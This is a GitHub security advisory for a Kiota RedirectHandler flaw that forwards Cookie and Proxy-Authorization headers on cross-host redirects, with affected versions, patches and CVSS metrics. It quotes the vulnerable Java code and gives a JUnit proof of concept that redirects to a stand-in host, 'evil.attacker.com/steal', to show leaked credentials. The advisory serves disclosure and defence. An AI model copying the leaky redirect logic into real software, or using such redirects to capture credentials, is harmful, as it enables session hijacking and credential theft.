Skip to content

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High severity GitHub Reviewed Published Apr 30, 2026 in microsoft/kiota-java • Updated May 14, 2026

Package

nuget Microsoft.Kiota.Abstractions (NuGet)

Affected versions

< 1.22.0

Patched versions

1.22.0
maven com.microsoft.kiota:microsoft-kiota-abstractions (Maven)
< 1.9.1
1.9.1
gomod github.com/microsoft/kiota-http-go (Go)
< 1.5.5
1.5.5
npm kiota-typescript (npm)
< 1.0.0-preview.100
1.0.0-preview.100
pip microsoft-kiota-http (pip)
< 1.9.9
1.9.9

Description

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet
https://github.com/microsoft/kiota-java
https://github.com/microsoft/kiota-python
https://github.com/microsoft/kiota-typescript
https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

  1. Clone the repository:
    git clone --depth 1 https://github.com/microsoft/kiota-java.git
    cd kiota-java

  2. Create the PoC test file at:
    components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
  1. Run the tests:
    ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"

  2. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.
    Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

  • Session hijacking via leaked Cookie headers
  • Corporate proxy credential theft via leaked Proxy-Authorization
  • API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

References

@gavinbarron gavinbarron published to microsoft/kiota-java Apr 30, 2026
Published to the GitHub Advisory Database May 7, 2026
Reviewed May 7, 2026
Published by the National Vulnerability Database May 14, 2026
Last updated May 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Learn more on MITRE.

CVE ID

CVE-2026-44503

GHSA ID

GHSA-7j59-v9qr-6fq9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.